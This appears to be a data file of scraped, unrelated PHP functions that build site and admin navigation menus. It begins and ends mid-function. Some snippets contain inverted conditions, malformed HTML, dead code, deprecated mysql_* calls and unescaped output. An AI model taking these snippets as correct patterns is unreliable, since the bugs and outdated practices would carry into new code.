href='manage_users.php'>Manage Users</a></td></tr>\";\r\n $menuItems[\"manage_content\"] = \"<tr align='right'><td><a class='normalMenuItem' href='manage_content.php'>Manage Content</a></td></tr>\";\r\n }\r\n \r\n $menuItems[\"logout\"] = \"<tr align='right'><td><a class='normalMenuItem' href='logout.php'>Logout</a></td></tr>\";\r\n \r\n\t\tif (empty($currentPage))\r\n {\r\n $menuItems[$currentPage] = str_replace(\"class='normalMenuItem'\", \"class = 'currentPageMenuItem'\", $menuItems[$currentPage]);\r\n\t\t}\r\n \r\n echo \"<table border='0' cellpadding='2' cellspacing='2' width='96%'>\";\r\n\t\tforeach ($menuItems as $key => $value)\r\n {\r\n echo $value;\r\n\t\t}\r\n echo \"</table>\";\r\n }\r\n else\r\n {\r\n ?> \r\n <form name=\"loginForm\" id=\"loginForm\" action=\"login.php\" method=\"post\" onsubmit=\"return check_login_form()\">\r\n <strong>Username</strong>\r\n <input type=\"text\" name=\"username\" id=\"username\" value=\"\" size=\"5\" />\r\n <p></p>\r\n <strong>Password</strong>\r\n <input type=\"password\" name=\"password\" id=\"password\" value=\"\" size=\"15\" />\r\n <input type=\"submit\" name=\"loginSubmit\" value=\"Login\" />\r\n </form>\r\n <?php\r\n }\r\n ?>\r\n <!--Corner Divs-->\r\n </div></div></div></div>\r\n <!--Corner Divs-->\r\n </div>\r\n<?php\r\n }", "public function menuHTML() {\n return '<div class=\"menu\">\n <ul>\n <li><a href=\"index.php\">User Mangement</a></li>\n <li><a href=\"new-user.php\">Add New User</a></li>\n <li><a href=\"downloads.php\">Downloads</a></li>\n <li><a href=\"logout.php\">Log out</a></li>\n </ul>\n </div>';\n }", "public function viewLeftMenu()\n\t{\n\t\t$viewLevelResult\t= $this->manageLeftMenu('V', '0', '', '', '0', '0');\n\t\treturn $viewLevelResult;\n\t}", "public function buildMenu() {\n $content = array();\n\n $headers = array(\n t(\"Menu keuze\"),\n t(\"Functie\"), \n );\n $rows[] = array(\n t(\"<b>Tabel beheer</b>\"),\n t(\"\"),\n );\n $rows[]= array(\n t(\"<a href= ezac/leden/>Leden administratie</a>\"),\n t(\"Inzage en wijzigen leden informatie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/leden/update>Lid toevoegen</a>\"),\n t(\"Invoeren gegevens nieuw lid\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/kisten/>Vloot administratie</a>\"),\n t(\"Inzage en wijzigen vloot informatie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/kisten/update>Kist toevoegen</a>\"),\n t(\"Invoeren gegevens nieuw vliegtuig\"),\n );\n $rows[] = array(\n t(\"<b>Startadministratie</b>\"),\n t(\"\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/starts>Startadministratie</a>\"),\n t(\"Overzicht startadministratie\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/starts/create/>Start invoer</a>\"),\n t(\"Invoeren nieuwe start\"),\n );\n $rows[] = array(\n t(\"<b>Voortgang / Bevoegdheden administratie</b>\"),\n t(\"\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/vba>Overzicht</a>\"),\n t(\"Overzicht VBA gegevens\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/vba>Invoeren</a>\"),\n t(\"Invoeren verslagen en bevoegdheden\"),\n );\n\n $table = array(\n '#type' => 'table',\n '#caption' => t(\"EZAC administratie hoofdmenu\"),\n '#header' => $headers,\n '#rows' => $rows,\n '#empty' => t('Geen gegevens beschikbaar.'),\n '#sticky' => TRUE,\n '#prefix' => '<div id=\"menu-div\">',\n '#suffix' => '</div>',\n '#weight' => 2,\n );\n\n return $table;\n }", "function PrintMenu()\n\t{\n\t\tglobal $refreshpage;\n\t\t\n\t\techo '<ul class=\"nav nav-pills no-margin-left\">\n\t\t\t\t<li role=\"presentation\" ' . iif($this->_action == 'displaydefaults', 'class=\"active\"') . '>\n\t\t\t\t\t<a class=\"\" href=\"'.$this->_page.'\">\n\t\t\t\t\t\t<i class=\"ace-icon fa fa-home bigger-120\"></i> </a>\n\t\t\t\t</li>\n\t\t\t\t<li role=\"presentation\" ' . iif($this->_action == 'displayform', 'class=\"active\"') . '>\n\t\t\t\t\t<a class=\"\" href=\"'.$this->_page.'&amp;action=displayform\">\n\t\t\t\t\t\t<i class=\" ace-icon fa fa-plus\"></i> '.AdminPhrase('create_form_but').'\n\t\t\t\t\t</a>\n\t\t\t\t</li>\n\t\t\t\t<li role=\"presentation\" ' . iif($this->_action == 'displayresponses', 'class=\"active\"') . '>\n\t\t\t\t\t<a class=\"\" href=\"'.$this->_page. '&amp;action=displayresponses\">\n\t\t\t\t\t\t<i class=\"ace-icon fa fa-comment\"></i> '.AdminPhrase('disp_responses') . '</a>\n\t\t\t\t</li>\n\t\t\t\t<li role=\"presentation\" ' . iif($this->_action == 'displayrecipient'. 'class=\"active\"') . '>\n\t\t\t\t\t<a class=\"\" href=\"'.$this->_page.'&amp;action=displayrecipient\">\n\t\t\t\t\t\t<i class=\"ace-icon fa fa-plus\"></i> '.AdminPhrase('create_recipient_but').'</a>\n\t\t\t\t</li>\n\t\t\t\t<li role=\"presentation\" ' . iif($this->_action == 'displaysettings', 'class=\"active\"') . '>\n\t\t\t\t\t<a class=\"\" href=\"'.$this->_page.'&amp;action=displaysettings\">\n\t\t\t\t\t\t<i class=\"ace-icon fa fa-wrench\"></i> '.AdminPhrase('settings').'</a>\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t\t<div class=\"hr hr-8\"></div>\n\t\t\t<div class=\"space-20\"></div>';\n\t}", "private function PH_PageMenu(){\n $site_menu = self::$xvi_api->GetSiteMenu();\n $page_menu = self::$xvi_api->GetPageMenu();\n \n $menu =\"\";\n foreach($site_menu as $menu_item=>$menu_path) {\n if (strcmp($menu_item,$page_menu[\"item\"])) { /*not selected menu item*/\n $menu .= \"<li><a href=\\\"\".$menu_path.\"\\\"<span></span>\".$menu_item.\"</a></li>\";\n } else { /* it is selected menu*/\n $menu .= \"<li><a class=\\\"sel\\\" href=\\\"\".$menu_path.\"\\\"<span></span>\".$menu_item.\"</a></li>\";\n }\n }\n return $menu;\n }", "public static function core_menu(){\r\n\t\t$menu = array();\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','dashboard']);\r\n\t\tarray_push($menu,[$url, _('Dashboard')]);\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','plugins']);\r\n\t\tarray_push($menu,[$url, _('Plugins')]);\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','regandlang']);\r\n\t\tarray_push($menu,[$url, _('Regional and Languages')]);\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','basic_settings']);\r\n\t\tarray_push($menu,[$url, _('Basic Settings')]);\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','themes']);\r\n\t\tarray_push($menu,[$url, _('Apperance')]);\r\n\t\t$url = core\\general::create_url(['service','1','plugin','administrator','action','main','p','administrator','a','blocks']);\r\n\t\tarray_push($menu,[$url, _('Blocks')]);\r\n\t\t$ret = array();\r\n\t\tarray_push($ret, ['<span class=\"glyphicon glyphicon-tasks\" aria-hidden=\"true\"></span>' , _('Administrator')]);\r\n\t\tarray_push($ret,$menu);\r\n\t\treturn $ret;\r\n\t}", "public function menu_main_menu()\n {\n return menu_main_menu();\n }", "private function _getNavigation()\r\n\t{\r\n\t\tglobal $action, $whmcs;\r\n\t\t\r\n\t\t$uri\t= DunUri :: getInstance('SERVER', true );\r\n\t\t$uri->delVar( 'task' );\r\n\t\t$uri->delVar( 'submit' );\r\n\t\t\r\n\t\t$html\t= '<ul class=\"nav nav-pills\">';\r\n\t\t\r\n\t\tforeach( array( 'themes', 'config', 'license' ) as $item ) {\r\n\t\t\t\r\n\t\t\tif ( $item == $action ) {\r\n\t\t\t\tif ( array_key_exists( 'task', $whmcs->input ) ) {\r\n\t\t\t\t\tif ( $whmcs->input['task'] != 'edittheme' ) {\r\n\t\t\t\t\t\t$html .= '<li class=\"active\"><a href=\"#\">' . t( 'themer.admin.module.navbar.' . $item ) . '</a></li>';\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t$html .= '<li class=\"active\"><a href=\"#\">' . t( 'themer.admin.module.navbar.' . $item ) . '</a></li>';\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$uri->setVar( 'action', $item );\r\n\t\t\t$html .= '<li><a href=\"' . $uri->toString() . '\">' . t( 'themer.admin.module.navbar.' . $item ) . '</a></li>';\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\t$html\t.= '</ul>';\r\n\t\treturn $html;\r\n\t}", "function getMenu($type = 'list') {\n global $sess_id, $membership_id;\n\n $db = $this->getDb();\n $array = array();\n\n if (isset($sess_id)) {\n $items = generate_main_menu_list('members', $membership_id); \n } else {\n $items = generate_main_menu_list('main'); \n }\n\n if ($type == 'items') {\n return $items; \n }\n\n\n foreach ($items as $item) {\n $array[] = _render_link($item);\n }\n\n if ($type == 'list') {\n $menu = '';\n foreach ($array as $item) {\n $menu .= \"<li>$item</li>\\n\";\n } \n $menu =\"<ul>\\n$menu</li>\\n\";\n } else {\n $menu = $array;\n }\n\n return $menu;\n }", "public function menuInside($action='') {\n $items = '';\n $action = ($action!='') ? $action : $this->action;\n switch ($action) {\n case 'listAdmin':\n if (Permission::canInsert($this->type)) {\n $items = '<div class=\"menuSimpleItem menuSimpleItemInsert\">\n <a href=\"'.url($this->type.'/insertView', true).'\">'.__('insertNew').'</a>\n </div>';\n }\n if ((string)$this->object->info->info->form->exportJson == 'true') {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemExportJson\">\n <a href=\"'.url($this->type.'/export-json', true).'\" target=\"_blank\">'.__('exportJson').'</a>\n </div>';\n }\n if ((string)$this->object->info->info->form->exportCsv == 'true') {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemExportCsv\">\n <a href=\"'.url($this->type.'/export-csv', true).'\" target=\"_blank\">'.__('exportCsv').'</a>\n </div>';\n }\n break;\n case 'insertView':\n case 'insert':\n case 'modifyView':\n case 'modifyViewCheck':\n $items = '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n break;\n case 'insertCheck':\n $items = '<div class=\"menuSimpleItem menuSimpleItemInsert\">\n <a href=\"'.url($this->type.'/insertView', true).'\">'.__('insertNew').'</a>\n </div>';\n if (Permission::canInsert($this->type)) {\n $items .= '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n }\n break;\n case 'listBack':\n $items = '<div class=\"menuSimpleItem menuSimpleItemList\">\n <a href=\"'.url($this->type.'/listAdmin', true).'\">'.__('viewList').'</a>\n </div>';\n break;\n\n }\n return ($items!='') ? '<nav class=\"menuSimple\">'.$items.'</nav>' : '';\n }", "public function menu_html()\n {\n echo '<h1>'.get_admin_page_title().'</h1>';\n echo '<p>Bienvenue sur la page d\\'accueil de la lettre d\\'informations.</p>';\n }", "function template_navigation() {\n\t\t$_ENV['menu'] = array();\n\t\t$_ENV['menu']['Main'] = _URL_;\n\t\tModule::includes('menus');\n\t\t$_ENV['menu']['Preferences'] = '?module=prefs';\n\t\t$_ENV['menu']['Logout'] = '?logout=true';\n\n\t\t$buffer = '<ul><li><h2>';\n\t\t$buffer .= array_key_exists('Menu',$_ENV['imgs']['menu']) \n\t\t\t? '<img src=\"'.$_ENV['imgs']['menu']['Menu'].'\" border=\"0\" /> ' : ' ';\n\t\t$buffer .= ' Main Menu</h2><ul>';\n\t\tforeach ($_ENV['menu'] as $module => $items) {\n\t\t\tif (is_array($items)) {\n\t\t\t\t$buffer .= '<li><a href=\"#\">';\n\t\t\t\t$buffer .= array_key_exists($module,$_ENV['imgs']['menu'])\n\t\t\t\t\t? '<img src=\"'.$_ENV['imgs']['menu'][$module].'\" border=\"0\" /> ' : ' ';\n\t\t\t\t$buffer .= $module.'</a><ul>';\n\t\t\t\tforeach ($items as $label => $url) {\n\t\t\t\t\t$buffer .= '<li><a href=\"'.$url.'\">';\n\t\t\t\t\t$buffer .= array_key_exists($label,$_ENV['imgs']['menu'])\n\t\t\t\t\t\t? '<img src=\"'.$_ENV['imgs']['menu'][$label].'\" border=\"0\" /> ' : ' ';\n\t\t\t\t\t$buffer .= $label.'</a></li>';\n\t\t\t\t}\n\t\t\t\t$buffer .= '</ul></li>';\n\t\t\t} else {\n\t\t\t\t$buffer .= '<li><a href=\"'.$items.'\">';\n\t\t\t\t$buffer .= array_key_exists($module,$_ENV['imgs']['menu'])\n\t\t\t\t\t? '<img src=\"'.$_ENV['imgs']['menu'][$module].'\" border=\"0\" /> ' : ' ';\n\t\t\t\t$buffer .= $module.' </a></li>';\n\t\t\t}\t\n\t\t}\n\t\t$buffer .= '</ul></li></ul>';\n\t\treturn $buffer;\n\t}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "function ShowMainHorMenu()\n{\n\t$str1=\"select * from menu where vermenu=1 order by menuorder\";\n\t$result=mysql_query($str1) or\n\t\tdie(mysql_error());\n\t$submenucount=0;\n\t$mid=0;\n\techo('<DIV class=ddsmoothmenu id=main-nav><UL>');\n\twhile($row=mysql_fetch_array($result))\n\t{\n\t\tif ($row['parent']==0)\n\t\t{\n\t\t\tif ($submenucount>0) //Ket thuc menu con, bat dau muc menu moi\n\t\t\t{\n\t\t\t\techo('</UL>');\n\t\t\t\techo('</LI>');\n\t\t\t}\t\n\t\t\tif ($row['menutype']==3) //Muc khong co lien ket\n\t\t\t{\n\t\t\t\techo('<LI><A href=\"\">'.$row['menutitle'].'</A>');\n\t\t\t\t$submenucount=0;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/////////////////////////Cac muc chinh\n\t\t\t\t\n\t\t\t\techo('<LI><A title=\"\" href=\"'.PageLink($row['menutype'],$row['menuid'],$row['parent'],$row['link']));\n\t\t\t\techo('\">'.$row['menutitle'].'</A> </LI>');\n\t\t\t\t$submenucount=0;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/////////////////////////// Cac muc con\n\t\t\tif ($submenucount==0)///Muc con dau tien\n\t\t\t{\n\t\t\t\techo('<UL>');\n\t\t\t\techo('<LI><A id=\"cat'.$mid.'\" title=\"\" href=\"'.PageLink($row['menutype'],$row['menuid'],$row['parent'],$row['link']));\n\t\t\t\techo('\">'.$row['menutitle'].'</A> </LI>');\n\t\t\t\t$submenucount++;\n\t\t\t\t$mid++;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo('<LI><A id=\"cat'.$mid.'\" title=\"\" href=\"'.PageLink($row['menutype'],$row['menuid'],$row['parent'],$row['link']));\n\t\t\t\techo('\">'.$row['menutitle'].'</A> </LI>');\n\t\t\t\t$submenucount++;\n\t\t\t\t$mid++;\n\t\t\t}\t\n\t\t}\n\t}\n\tmysql_free_result($result);\n\techo('</UL></DIV>');\n}", "public function get_menu()\n\t{\n\t\treturn $this->get_session('admin_menu_html');\n\t}", "function Logs_Tables_Menu()\n {\n return \"\"; #disabled\n $tables=$this->Logs_Sql_Tables_Get();\n \n $args=$this->CGI_URI2Hash();\n \n $html=\"\";\n foreach ($tables as $year => $months)\n {\n $hrefs=array();\n $args[ \"Year\" ]=$year;\n foreach ($months as $month)\n {\n $args[ \"Month\" ]=$month;\n\n array_push($hrefs,$this->Href(\"?\".$this->CGI_Hash2URI($args),$month.\"/\".$year));\n }\n\n $html.=\n \"[ \".join(\" | \",$hrefs).\" ]\".\n $this->BR().\n \"\";\n }\n\n return\n $this->Center($html).\n $this->BR();\n }", "public function createMenu()\n {\n\t\t$count = mysql_query(\"SELECT count(*) FROM view_orders \n\t\t\t\t\t\t\t WHERE status >= '\".Status::open.\"' AND status <= '\".Status::ready.\"' AND products_type_id = '1'\n\t\t\t\t\t\t\t GROUP BY bar_time\");\n\t\t\n\t\t$menu = \"<a href='?action=orders'><li>Bestellungen <div id='count_orders' class='count'>\".mysql_num_rows($count).\"</div></li></a> \\n\";\n\t\t$menu .= \"<a href='?action=articleManagement'><li>ProduktList</li></a> \\n\";\n\t\t$menu .= \"<a href='?action=callWaiter&seat_id=\". Backend::KITCHEN_SEAT .\"'><li>Kellner rufen</li></a> \\n\";\n\t\t$menu .= \"<a href='?action=orders'><li>Uhrzeit: \".date('H:i').\"</li></a> \\n\";\n\t\treturn parent::createMenu($menu);\n }", "public function render()\n {\n global $conf, $registry, $prefs;\n\n $app = $registry->getApp();\n\n if ($this->_mask !== self::MASK_NONE) {\n /* Add any custom menu items. */\n $this->addSiteLinks();\n }\n\n /* No need to return an empty list if there are no menu\n * items. */\n if (!count($this->_menu)) {\n return '';\n }\n\n /* Sort to match explicitly set positions. */\n ksort($this->_menu);\n if ($registry->nlsconfig->curr_rtl) {\n $this->_menu = array_reverse($this->_menu);\n }\n\n return $this->_render();\n }", "function get_admin_menu()\n\t\t{\n\t\t\t$items = array(\n\t\t\t\t'show_global_settings'\t=> 'Global Settings',\n\t\t\t\t'show_rating_groups' \t=> 'Rating Groups',\n\t\t\t\t'show_post_settings'\t=> 'Post Rating Settings',\n\t\t\t\t'show_feedback_stats'\t=> 'Feedback Stats'\n\t\t\t\t);\n\t\t\t$html = \"<ul class='wpdrs-admin-menu'>\";\n\t\t\tforeach($items as $k=>$v)\n\t\t\t{\n\t\t\t\t$href = admin_url().'?page=wpdrs&wpdrs_action='.$k;\n\t\t\t\t$html .= \"<li><a href='{$href}'>{$v}</a></li>\";\n\t\t\t\t}\n\t\t\t$html .= \"</ul>\";\n\t\t\treturn $html;\n\t\t\t}", "function getMenuEntries()\n\t{\n\t\tglobal $rbacsystem, $lng, $tree, $ilUser, $ilSetting;\n\n\t\t// no menu during online tests\n\t\tif ($_SESSION[\"adn_online_test\"])\n\t\t{\n\t\t\treturn \"\";\n\t\t}\n\n\t\t$mm_tpl = new ilTemplate(\"tpl.adn_main_menu.html\", true, true, \"Services/ADN/UI\");\n\n\t\tforeach ($this->getAllMenuItems() as $menu => $items)\n\t\t{\n\t\t\t$this->renderSubMenu($mm_tpl, $menu);\n\t\t}\n\t\treturn $mm_tpl->get();\n\n\n\n\t\t$tpl->setCurrentBlock(\"cust_menu\");\n\t\t$tpl->setVariable(\"TXT_CUSTOM\",\n\t\t\tlfCustomMenu::lookupTitle(\"it\", $menu[\"id\"], $ilUser->getLanguage(), true));\n\t\t$tpl->setVariable(\"MM_CLASS\", \"MMInactive\");\n\n\t\tif (is_file(\"./templates/default/images/mm_down_arrow.png\"))\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.png\"));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.gif\"));\n\t\t}\n\t\t$tpl->setVariable(\"CUSTOM_CONT_OV\", $gl->getHTML());\n\t\t$tpl->setVariable(\"MM_ID\", $menu[\"id\"]);\n\t\t$tpl->parseCurrentBlock();\n\t\t$tpl->setCurrentBlock(\"c_item\");\n\t\t$tpl->parseCurrentBlock();\n\n\t}", "protected function _menu()\n\t{\n\t\tif (ee()->view->disabled('ee_menu'))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tee()->view->cp_main_menu = ee()->menu->generate_menu();\n\t}", "protected function getLeft()\n\t{\n\t\t$items = MenuDB::getMainMenu();\n\t\t$mainmenu = new MainMenu();\n\t\t$mainmenu->uri = $this->url_active;\n\t\t$mainmenu->items = $items;\n\t\tif ($this->auth_user) {\n\t\t\t$user_panel = new UserPanel(); //панель авт. юзера\n\t\t\t$user_panel->user = $this->auth_user;\n\t\t\t$user_panel->uri = $this->url_active;\n\t\t\t$user_panel->addItem(\"Редактировать профиль\", URL::get(\"editprofile\", \"user\"));\n\t\t\t$user_panel->addItem(\"Выход\", URL::get(\"logout\"));\n\t\t} else {\n\t\t\t$user_panel = \"\";\n\t\t}\n\t\t$poll_db = new PollDB();\n\t\t$poll_db->loadRandom();\n\t\tif ($poll_db->isSaved()) {\n\t\t\t$poll = new Poll();\n\t\t\t$poll->action = URL::get(\"poll\", \"\", array(\"id\" => $poll_db->id));\n\t\t\t$poll->title = $poll_db->title;\n\t\t\t$poll->data = PollDataDB::getAllOnPollID($poll_db->id);\n\t\t} else {\n\t\t\t$poll = \"\";\n\t\t}\n\n\t\treturn $user_panel . $mainmenu . $poll;\n\t}", "protected function buildMenu() {\n// $structures = DataSource::factory(Structure::cls());\n// $structures->builder()\n// ->where(\"structure_id=0\")\n// ->order('priority');\n// /** @var Structure[] $aStructures */\n// $aStructures = $structures->findAll();\n// foreach ($aStructures as $oStructure) {\n// $menu->addLeftItem($oStructure->name, $oStructure->path);\n// $this->loadMenuItems($menu->findLeftItemByPath($oStructure->path), $oStructure);\n// }\n//\n// $view = new ViewMMenu();\n// $view->menu = $menu;\n// return $view;\n\n $ViewMainMenu = new ViewMainMenu($this->config['name']);\n $this->setMenuItems($ViewMainMenu->itemsList);\n $currentPath = explode('?', $this->Router->getRoute());\n $ViewMainMenu->currentPath = reset($currentPath);\n\n return $ViewMainMenu;\n }", "function xtransam_adminMenu ($currentoption = 0) {\n\t\tglobal $xoopsConfig;\n\t\t$module_handler =& xoops_gethandler('module');\n\t\t$xModule = $module_handler->getByDirname('xtransam');\n\t $dirname='xtransam';\n\t echo \"\n \t<style type='text/css'>\n\t\t#form {float:left; width:100%; background: #e7e7e7 url('\" . XOOPS_URL . \"/modules/$dirname/images/bg.gif') repeat-x left bottom; font-size:93%; line-height:normal; border-bottom: 1px solid black; border-top: 1px solid black; border-left: 1px solid black; border-right: 1px solid black;}\n\t\t \t#buttontop { float:left; width:100%; background: #e7e7e7; font-size:93%; line-height:normal; border-top: 1px solid black; border-left: 1px solid black; border-right: 1px solid black; margin: 0; }\n \t#buttonbar { float:left; width:100%; background: #e7e7e7 url('\" . XOOPS_URL . \"/modules/$dirname/images/bg.gif') repeat-x left bottom; font-size:93%; line-height:normal; border-left: 1px solid black; border-right: 1px solid black; margin-bottom: 0px; border-bottom: 1px solid black; }\n \t#buttonbar ul { margin:0; margin-top: 15px; padding:10px 10px 0; list-style:none; }\n\t\t #buttonbar li { display:inline; margin:0; padding:0; }\n\t\t #buttonbar a { float:left; background:url('\" . XOOPS_URL . \"/modules/$dirname/images/left_both.gif') no-repeat left top; margin:0; padding:0 0 0 9px; text-decoration:none; }\n\t\t #buttonbar a span { float:left; display:block; background:url('\" . XOOPS_URL . \"/modules/$dirname/images/right_both.gif') no-repeat right top; padding:5px 15px 4px 6px; font-weight:bold; color:#765; }\n\t\t /* Commented Backslash Hack hides rule from IE5-Mac \\*/\n\t\t #buttonbar a span {float:none;}\n\t\t /* End IE5-Mac hack */\n\t\t #buttonbar a:hover span { color:#333; }\n\t\t #buttonbar #current a { background-position:0 -150px; border-width:0; }\n\t\t #buttonbar #current a span { background-position:100% -150px; padding-bottom:5px; color:#333; }\n\t\t #buttonbar a:hover { background-position:0% -150px; }\n\t\t #buttonbar a:hover span { background-position:100% -150px; }\n\t\t </style>\";\n\t\n\t // global $xoopsDB, $xoModule, $xoopsConfig, $xoModuleConfig;\n\t\n\t $myts = &MyTextSanitizer::getInstance();\n\t\n\t $tblColors = Array();\n\t\t// $adminmenu=array();\n\t if (file_exists(XOOPS_ROOT_PATH . '/modules/' . $xModule->getVar('dirname') . '/language/' . $xoopsConfig['language'] . '/modinfo.php')) {\n\t\t include_once XOOPS_ROOT_PATH . '/modules/xtransam/language/' . $xoopsConfig['language'] . '/modinfo.php';\n\t } else {\n\t\t include_once XOOPS_ROOT_PATH . '/modules/xtransam/english/modinfo.php';\n\t }\n \n\t echo \"<table width=\\\"100%\\\" border='0'><tr><td>\";\n\t echo \"<div id='buttontop'>\";\n\t echo \"<table style=\\\"width: 100%; padding: 0; \\\" cellspacing=\\\"0\\\"><tr>\";\n\t echo \"<td style=\\\"width: 45%; font-size: 10px; text-align: left; color: #2F5376; padding: 0 6px; line-height: 18px;\\\"><a class=\\\"nobutton\\\" href=\\\"\".XOOPS_URL.\"/modules/system/admin.php?fct=preferences&amp;op=showmod&amp;mod=\" . $xModule->getVar('mid') . \"\\\">\" . _PREFERENCES . \"</a></td>\";\n\t echo \"<td style='font-size: 10px; text-align: right; color: #2F5376; padding: 0 6px; line-height: 18px;'><b>\" . $myts->displayTarea($xModule->name()) .\"</td>\";\n\t echo \"</tr></table>\";\n\t echo \"</div>\";\n\t echo \"<div id='buttonbar'>\";\n\t echo \"<ul>\";\n\t $adminmenu = array();\n\t\tinclude XOOPS_ROOT_PATH . '/modules/xtransam/admin/menu.php';\n\t \tforeach ($adminmenu as $key => $value) {\n\t\t $tblColors[$key] = '';\n\t\t $tblColors[$currentoption] = 'current';\n\t echo \"<li id='\" . $tblColors[$key] . \"'><a href=\\\"\" . XOOPS_URL . \"/modules/\".$xModule->getVar('dirname').\"/\".$value['link'].\"\\\"><span>\" . $value['title'] . \"</span></a></li>\";\n\t\t }\n\t\t \n\t echo \"</ul></div>\";\n\t echo \"</td></tr>\";\n\t echo \"<tr'><td><div id='form'>\";\n \n }", "function makeMenu($what)\n{\n global $language;\n if($what==\"header\") {\n echo \"<a href=\\\"index.php?action=home\\\" target=\\\"main\\\"><div align=\\\"center\\\"><img border=\\\"0\\\" src=\\\"\".AdminMenuLogoLocation.\"\\\"></a></div>\\r\\n\";\n echo \"<table width=\\\"100%\\\" border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"5\\\">\\r\\n\";\n }\n if($what==\"separator\") {\n echo \"<tr><td></td></tr>\\r\\n\";\n }\n if($what==\"footer\") {\n echo \"<tr><td><hr></td></tr>\\r\\n\";\n echo \"</table>\\r\\n\";\n }\n}", "public function menu()\n {\n $this->load->view('admin/header');\n $data['all_module'] = $this->common_model->getAll('sett_modules','status',1);\n $data['menu_all_module'] = $this->common_model->getAll('sett_menu');\n $data['all_main_menu'] = $this->common_model->getAll('sett_menu','type',0);\n $this->load->view('admin/menu',$data);\n $this->load->view('admin/footer');\n }", "function generateOrderMenu($id, $meunAuthItemMap){\r\n if(isMenuVisible($meunAuthItemMap['warehouseOrder'], array('warehouse_id'=>$id))){\r\n return array('label' => '<i ></i> Order', 'url' => array('/orderHeader/admin&w_id='.$id), 'visible' => true);\r\n }\r\n else{\r\n return array();\r\n }\r\n}", "public function create_menu() {\n\t\tif ( get_network()->site_id !== get_current_blog_id() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t//create new top-level menu\n\t\tadd_management_page(\n\t\t\t__( 'Sync newsletter', 'elemarjr' ),\n\t\t\t__( 'Sync newsletter', 'elemarjr' ),\n\t\t\t'manage_options',\n\t\t\t'sync-newsletter',\n\t\t\tarray( $this, 'display_submenu_page' ),\n\t\t\t6\n\t\t);\n\t}", "function AdminBodyMain()\n\t{\t$adminmenu = new AdminMenu($this->user, $_GET[\"id\"]);\n\t\tif ($adminmenu->menuitems)\n\t\t{\techo \"<ul>\";\n\t\t\tforeach ($adminmenu->menuitems as $item)\n\t\t\t{\techo \"<li>\";\n\t\t\t\tif ($item->details[\"menulink\"])\n\t\t\t\t{\techo \"<a href='\", $item->details[\"menulink\"], \"'>\", $this->InputSafeString($item->details[\"menutext\"]), \"</a>\";\n\t\t\t\t} else\n\t\t\t\t{\techo $this->InputSafeString($item->details[\"menutext\"]);\n\t\t\t\t}\n\t\t\t\tif ($item->submenu->menuitems)\n\t\t\t\t{\techo \" - <a href='rawmenu.php?id=\", $item->id, \"'>sub menu</a>\";\n\t\t\t\t}\n\t\t\t\techo \"</li>\";\n\t\t\t}\n\t\t\techo \"</ul>\";\n\t\t}\n\t}", "function mainMenu() \r\n\t\t{\r\n\t\t\tif($this->RequestAction('/external_functions/verifiedAccess/'.$this->Auth->user('id').\"/1/mainMenu\") == true)\r\n\t\t\t{\r\n\t\t\t\t$this->set('title_for_layout', 'Fondos por rendir :: Menu Principal');\r\n\t\t\t\t$this->set('userAdmin', $this->Auth->user('admin'));\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$this->Session->setFlash('No tienes permisos para ver esta pagina, consulta con el administrador del sistema.', 'flash_alert');\r\n\t\t\t\t$this->redirect(array('controller' => 'dashboard', 'action' => 'index'));\r\n\t\t\t}\r\n\t\t}", "private function gen_admin_menu()\n {\n $admin_menu = array (array(\n 'link' => 'plugins/dynamictemplate/admin/main_settings.php'.$this->SID,\n 'text' => $this->user->lang('dynamictemplate'),\n 'check' => 'a_dynamictemplate_main',\n 'icon' => 'fa-list-alt',\n ));\n\n return $admin_menu;\n }", "function ShowVerMenu111()\n{\n\tif (getPara('vermenu','value1')==1)\n\t{\t\n\t\tinclude(\"dbconnect.php\");\n\t\t$str1=\"select * from menu where vermenu=1 order by menuorder \";\n\t\t$result=mysql_query($str1) or\n\t\t\tdie(mysql_error());\n\t\t$id=intval(mysql_real_escape_string($_REQUEST['id'])) ;\n\t\t$pr=intval(mysql_real_escape_string($_REQUEST['pr'])) ;\t\n\t\t\n\t\techo('<tr><td height=\"28\" valign=\"top\"><DIV class=glossymenu>');\n\t\t$submenucount=0;\n\t\twhile($row=mysql_fetch_array($result))\n\t\t{\n\t\n\t\t\tswitch 